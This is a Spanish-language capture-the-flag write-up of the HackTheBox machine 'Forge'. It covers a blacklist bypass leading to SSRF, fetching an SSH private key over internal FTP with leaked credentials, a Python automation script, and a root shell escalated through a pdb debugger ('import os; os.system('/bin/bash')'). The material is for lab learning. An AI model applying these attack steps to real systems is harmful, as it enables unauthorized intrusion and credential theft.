HackTheBox - Forge
Creado
Máquina Linux nivel medio. Bypass de listas negras en la web causando problemas internos (o.o), juego con fuentes de código, credenciales volando y llaves llegando… Movimientos con permisos en el sistema y debugeando el debugeador.
TL;DR (Spanish writeup)
Creada por: NoobHacker9999.
Bypasseamos la vida, me gusta.
Nos enfrentaremos a un servidor web que permite el cargue de imágenes ya sea local o por medio de una URL, jugando y jugando bypassearemos blacklists para conseguir un SSRF
logrando así “subir imágenes” del propio servidor interno (localhost), solo que en vez de imágenes vamos a estar jugando con los fuentes de código de cada recurso interno consultado.
De esta manera encontraremos un portal web para los administradores, allí se nos anunciará unos cambios implementados en la nueva web administrativa. Jugando con ellos lograremos desde la web interactuar con un servidor FTP
para ver los objetos alojados en él. Terminaremos descubriendo que estamos en un /home
del usuario user
y obtendremos una llave privada SSH, finalmente conseguiremos una Shell como user
en el sistema.
Enumerando los permisos que tenemos como otros usuarios (sudo -l
) tendremos un script a ejecutar como cualquier personita del sistema. Jugando con él lograremos aprovechar la librería PDB
de Python para causar un error y en ese error importar la librería os
para ejecutar una /bin/bash
. Así, obtendremos una Shell como el usuario root
.
…
Clasificación de la máquina según la gentesita
Mucho juguete, poquito poco real, temitas interesantes y de nuevo, poco real :(
La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) :) La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo, al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo las ganas para ayudarnos ¿por que no hacerlo? … Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3 Todo lo que ves es vida!
…
Adagio.
…
Reconocimiento #
Enumeración de puertos con nmap 📌
Como siempre empezaremos realizando un escaneo de puertos, así logramos ver que servicios están activos externamente, usaremos nmap
:
❱ nmap -p- --open -v 10.10.11.111 -oG initScan
Parámetro | Descripción |
---|---|
-p- | Escanea todos los 65535 |
–open | Solo los puertos que están abiertos |
-v | Permite ver en consola lo que va encontrando |
-oG | Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard |
El escaneo nos devuelve:
❱ cat initScan
# Nmap 7.80 scan initiated Tue Oct 19 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.11.111
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.111 () Status: Up
Host: 10.10.11.111 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///
# Nmap done at Tue Oct 19 25:25:25 2021 -- 1 IP address (1 host up) scanned in 76.62 seconds
Puerto | Descripción |
---|---|
22 | SSH: Podemos generar una terminal (Shell) de manera segura. |
80 | HTTP: Nos ofrece un servidor web. |
Ya con esos dos puertos, lo siguiente que podemos hacer es un escaneo más profundo, esto para intentar descubrir que versiones y scripts (pequeñas instrucciones del propio nmap
para testear cositas) pueden estar relacionados a cada servicio:
~(Usando la función extractPorts
(referenciada antes) podemos copiar rápidamente los puertos en la clipboard, así no tenemos que ir uno a uno, pero en este caso no es relevante, ya que únicamente tenemos 2 puertos:
❱ extractPorts initScan
[*] Extracting information...
[*] IP Address: 10.10.11.111
[*] Open ports: 22,80
[*] Ports copied to clipboard
)~
❱ nmap -p 22,80 -sC -sV 10.10.11.111 -oN portScan
Parámetro | Descripción |
---|---|
-p | Escaneo de los puertos obtenidos |
-sC | Muestra todos los scripts relacionados con el servicio |
-sV | Nos permite ver la versión del servicio |
-oN | Guarda el output en un archivo |
Nos responde:
❱ cat portScan
# Nmap 7.80 scan initiated Tue Oct 19 25:25:25 2021 as: nmap -p 22,80 -sC -sV -oN portScan 10.10.11.111
Nmap scan report for 10.10.11.111
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 19 25:25:25 2021 -- 1 IP address (1 host up) scanned in 13.75 seconds
Tenemos algunas cositas relevantes:
Puerto | Servicio | Versión |
---|---|---|
22 | SSH | OpenSSH 8.2p1 |
80 | HTTP | Apache httpd 2.4.41 |
- Vemos un redireccionamiento hacia el dominio
forge.htb
, tengamos esto en cuenta.
Por ahora no hay nada más, exploremos…
Enumeración #
Damos vueltas por el servidor web 📌
Si intentamos desde el navegador llegar al servidor web usando: 10.10.11.111
efectúa el redireccionamiento que vimos antes, pero como no sabe que es forge.htb
pues no logra mostrar ningún resultado.
Juguemos con el objeto /etc/hosts para que cuando hagamos peticiones, ya sea a la dirección IP (10.10.11.111
) o el dominio (forge.htb
), logre el redireccionamiento y, por lo tanto, nos muestre el contenido respectivo del dominio contra la dirección IP:
❱ cat /etc/hosts
...
10.10.11.111 forge.htb
...
Y si ahora reintentamos la petición web, obtenemos:
Jmmm, una galería de imágenes yyyyyyyyy arriba a la derecha la posibilidad de subir más, veamos:
Podemos subir ya sea localmente o utilizando una URL. Las dos son funcionales, probando y probando subir imágenes ya sea con contenido malicioso en su metadata, scripts con nombres de imágenes y demás cositas, no logramos nada…
Explotación #
Aprovechando que tenemos un servicio que lee imágenes desde una URL, podríamos probar a jugar con el servidor web, pero de forma interna, o sea con localhost
(127.0.0.1), logrando así (si nos responde claramente) un Server Side Request Forgery (SSRF), permitiendo que el servidor haga peticiones arbitrarias como por ejemplo internas.
Veamos contra el localhost:
http://localhost
Esa petición debería de alguna forma comunicarse con el servidor web actual, pero lo dicho, internamente, tenemos esto como respuesta:
Jmmmmmmmmmmm… Acá estuve un buen rato, no había pensado algo suuuuumamente sencillo.
Nos indica que esa URL contiene algo que esta en la lista negra (por lo general usadas para identificar direcciones generadoras de spam), con lo que si enviamos localhost (porque http
si lo permite), el servidor web compara la URL con la lista, encuentra coincidencia y pues nos devuelve el error.
Pensemos que localhost esta en la blacklist, peeeeeeeeeeeero ¿y si locAlhost no? El servidor va a entender la petición, ya depende de como esta validando la URL para que funcione o no, intentemos:
Damos click en submit
y:
PERFECTO! Ahora sabemos que podemos fácilmente bypassear la lista negra de direcciones e intuimos como se están validando en el backend (: Juguemos con esa URL a ver que contiene:
Validando en la web, vemos:
Errores y más errores, la cambia nos cara cuando jugamos con cURL
:
OJOOOOOOOO, tenemos al parecer el código fuente de la página principal alojada en el localhost
, o sea, la galería que vimos al inicioooooooooooooo. Para terminar de confirmarlo podemos irnos al servidor web, nos movemos a la galería (el home) y vemos su código fuente (con CTRL+U
se puede), si nos fijamos es el mismo que obtuvimos:
Así que tamos increibleeeeeees!! Podemos con ayuda de la subida de imágenes por medio de una URL, extraer y VER los archivos que aloja el servidor web (: Me gusta, sigamos…
Nos creamos este script para automatizar tooooodo el proceso y simplemente pasarle la URL con el objeto que queremos ver:
Probando con forge.htb
como URL también nos dice lo de la blacklist, pero igual que antes, jugamos con una letra y ya logramos el bypass (:
Encontramos subdominio y bypasseamos cositas 📌
Dando vueltas sin encontrar nada relevante me puse a fuzzear la web, esto para encontrar quizás directorios o archivos que el servidor esté sirviendo, pero estén fuera de nuestra vista:
❱ wfuzz -c --hc=404 -w /opt/SecLists/Discovery/Web-Content/common.txt http://forge.htb/FUZZ
Tomará cada línea del archivo common.txt
y lo pondrá junto a http://forge.htb/<acá>
, así si algún recurso le da 200 OK
o algún redirect, podemos investigarlo después ya sea manualmente o con el script (: Pero nada, no hay cositas locas (recuerden probar con varios wordlist más).
El siguiente fuzzeo que podemos hacer es intentar descubrir subdominios, esto es, tomar el servidor actual (dominio) forge.htb
y probar por ejemplo hola.forge.htb
, si obtenemos respuesta distinta a errores y a la misma que forge.htb
, pues tendríamos un nuevo recurso a investigar:
❱ wfuzz -c --hc=404 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.11.111 -H 'Host: FUZZ.forge.htb'
Al ejecutarlo vemos un redirect en tooodos los intentos, algo así:
...
000000001: 302 9 L 26 W 279 Ch "www"
000000003: 302 9 L 26 W 279 Ch "ftp"
000000007: 302 9 L 26 W 283 Ch "webdisk"
...
Esos recursos no nos interesan, así que juguemos con el propio wfuzz
para que evite mostrarnos respuestas con 26 palabras (tomamos la columna: 26 W) que sería un patrón que se repite:
❱ wfuzz -c --hc=404 --hw=26 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://10.10.11.111 -H 'Host: FUZZ.forge.htb'
...
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000024: 200 1 L 4 W 27 Ch "admin"
...
Opa, tenemos al parecer un subdominio tal que así: admin.forge.htb
, validemos:
❱ cat /etc/hosts
...
10.10.11.111 forge.htb admin.forge.htb
...
Nos responde, solo que únicamente podemos acceder a el de manera interna (¿ya tienes una idea de lo que debemos hacer no?), podríamos intentar jugar con algunos headers para bypassear este filtro y que el servidor creyera que realmente la petición llega de forma interna, peeeeeeeeeeeeeeero ya tenemos algo para hacer eso, ¿recuerdas (claro que si) el bypass que hicimos de la blacklist, el juego con el SSRF y como vimos el fuente de la galería? Pos acá es exactamente igual, probemos:
❱ python3 playWithURL.py http://admin.foRge.htb
VAMOOOO!! Bypasseamos el filtroooo y tenemos el fuente web relacionado con admin.forge.htb
(: Notamos una ruta llamativa y nueva: /announcements
, a verla:
❱ python3 playWithURL.py http://admin.foRge.htb/announcements
OJITOO, hay varias cositas a destacar:
- Credenciales para un servidor FTP:
user:heightofsecurity123!
, como vimos en nuestro escaneo denmap
no hay ningún puerto21 (FTP)
abierto, así que entendemos que el servidor esta interno. - Ahora (relacionando lo anterior) el servidor web soporta el uso de
ftp://
yftps://
para subir desde una URL, interesantísimooooo (también por lo dicho en el anterior punto). - Al apartado
/upload
deadmin.forge.htb
se le implementó la funcionalidad de subir imágenes usando simplemente la variableu
en la URL. Por ejemplo, para subir la imagenhola.jpg
podemos hacer esto con la URL:http://admin.forge.htb/upload?u=<...URL...>/hola.jpg
. Bastante interesante…
Bien, relacionando los tres puntos podemos pensar que ahora debemos interactuar con el servidor FTP
ya sea para subir o para ver archivos del propio servidor, a darle…
Encontramos una sintaxis bastante parecida a ssh
para interactuar con el servidor:
ftp://<username>@<name-of-server>
Y con credenciales:
ftp://<username>:<password>@<name-of-server>
Pues intentémoslo (recordemos que uno de los ítems de arriba decía que /upload
soportaba ahora ftp://
, así que perfecto:
❱ python3 playWithURL.py 'http://admin.foRge.htb/upload?u=ftp://user:heightofsecurity123!@locAlhost'
COOOOMOOOOOOO! Logramos listar dos archivos mantenidos por el servidor FTP, si intentamos algún tipo de LFI
no llegamos a ningún lado… Después de un rato lo que se me ocurrió fue intentar descubrir objetos ocultos (quizás hay) (que empiecen con .
) que claramente no veríamos a simple vista en el listado de archivos del servidor FTP…
Con este script pequeñito logramos jugar con “X” wordlist, toma cada línea (presunto archivo) y prueba a ver si existe:
#!/usr/bin/python3
import requests
import re
URL = "http://forge.htb"
def main():
file_wordlist = open("/opt/SecLists/Discovery/Web-Content/common.txt", "r")
for line in file_wordlist:
line = line.strip()
url_to_upload = f"http://admin.foRge.htb/upload?u=ftp://user:heightofsecurity123!@locAlhost/{line}"
data_post = {"url":url_to_upload,"remote":"1"}
r = requests.post(URL + '/upload', data=data_post)
url_with_response = re.findall(r'<strong><a href="(.*?)"', r.text)[0]
r = requests.get(url_with_response)
if "404 Not Found" in r.text or "500 Internal Server" in r.text:
print(f"✘ {line}")
else:
print(f"{line} ✓")
if '__main__' == __name__:
main()
Si lo ejecutamos tenemos algunos recursos interesantes:
❱ python3 fuzz_files.py
✘ .bash_history
.bashrc ✓
✘ .cache
...
✘ .perf
.profile ✓
✘ .rhosts
...
✘ .ssh
...
Tenemos dos objetos que por lo general se encuentran en el directorio /home
de un usuario… Si las cosas son así, podemos pensar que estamos en el directorio /home
de user
, por lo que podríamos probar a buscar alguna llave SSH privada y así obtener acceso al sistema con ella sin necesidad de contraseña (a menos que la propia llave (si existe) tenga pw), probemos:
Si al ejecutar:
❱ python3 playWithURL.py 'http://admin.foRge.htb/upload?u=ftp://user:heightofsecurity123!@locAlhost'
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r----- 1 0 1000 33 Oct 25 09:44 user.txt
Nos responde con archivos del /home
, pues entonces estamos sobre ese directorio, únicamente debemos añadir /.ssh/id_rsa
y validar:
❱ python3 playWithURL.py 'http://admin.foRge.htb/upload?u=ftp://user:heightofsecurity123!@locAlhost/.ssh/id_rsa'
EFECTIVAMENTEEEEEEEEEEEEEEEEEEE!! Encontramos una llave SSH privada, con lo cual podemos probar a iniciar sesión como user
usándola, la tomamos, la pegamos en un archivo y le damos los permisos necesarios:
❱ chmod 600 user.id_rsa
Yyyyy con SSH le pasamos el archivo con la llave privada:
❱ ssh user@forge.htb -i user.id_rsa
Listones, tamos dentroooooooo!
Escalada de privilegios #
Enumerando los permisos que tenemos contra otros usuarios vemos esto:
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
Tenemos la posibilidad de ejecutar el script /opt/remote-manage.py
con el binario /usr/bin/python3
como cualquier usuario ((ALL : ALL)), por lo tanto, podemos correrlo como root
, echémosle un ojo:
user@forge:~$ cat /opt/remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
En pocas palabras (se entiende fácil) lo que hace el programa es levantar un puerto que esté entre el número 1025 hasta el 65535 internamente. El programa se queda ahí en escucha(o sea, activo)…
Por otro lado, cuando el usuario se conecte a dicho puerto, le va a pedir una contraseña (secretadminpassword
), cuando es correcta le muestra un menú de 4 opciones, 3 de ellas son para ejecutar un comando en el sistema y la cuarta es para terminar el proceso. Podríamos pensar en un Path Hijacking, pero no funcionaria, ya que Python juega muy bien con las variables de entorno.
Después de un tiempito jugando con el programa, vi algo interesante que no había detallado, esto fue al cancelar de manera brusca el proceso (ejecutando CTRL+C
):
Como les explique arriba el programa se queda escuchando y ocupa tooooda la terminal, así que necesitamos tener dos, una ejeuctando el programa y otra para conectarnos al puerto que abre el programa (:
Hacemos CTRL^C y en el listener vemos:
Nos deja en una “consola” para jugar con la librería Pdb, que básicamente es un depurador de código, lo que quiere decir que sirve para encontrar y mitigar errores en programas. Como causamos una salida forzada y estaba esperando un dígito, pues causamos un error, no lo muestra, así mismo la línea donde se causó y nos permite interactuar un poquito con unos comandos de Pdb.
Esto es llamativo, ya que tenemos una interacción con el programa, además recordemos que lo estamos corriendo con sudo
(solito, sin -u
), así que actualmente somos root
ejecutando el script…
Podemos buscar en internet si existen maneras de transformar esa semi-consola en un RCE o algo parecido.
Y sí, encontramos algo bastante interesante:
Vemos por ejemplo que para obtener una Shell con la librería Pdb, lo único que hace es importar la librería os
y ejecuta una /bin/sh
para posteriormente hacer:
pdb import os; os.system("/bin/sh")
Pues llevando esto a nuestro entorno, podemos intentar importar la librería y ejecutar una /bin/bash
directamente, así:
(Pdb) import os; os.system('/bin/bash')
Y sí, ya tendríamos una Shell como el usuario root
(: Veamos las flags…
…
La intrusión de esta máquina me gusto bastante, la escalada fue nueva, no creo que me haya gustado, peeeeeeeero demuestra un vector de ataque muy lindo.
Y bueno, nos leeremos otro día, otra noche, otra madrugada, lo importante es que nos veremos :* Y nada, a romper tooooooooooooodoooooooO!!
Comments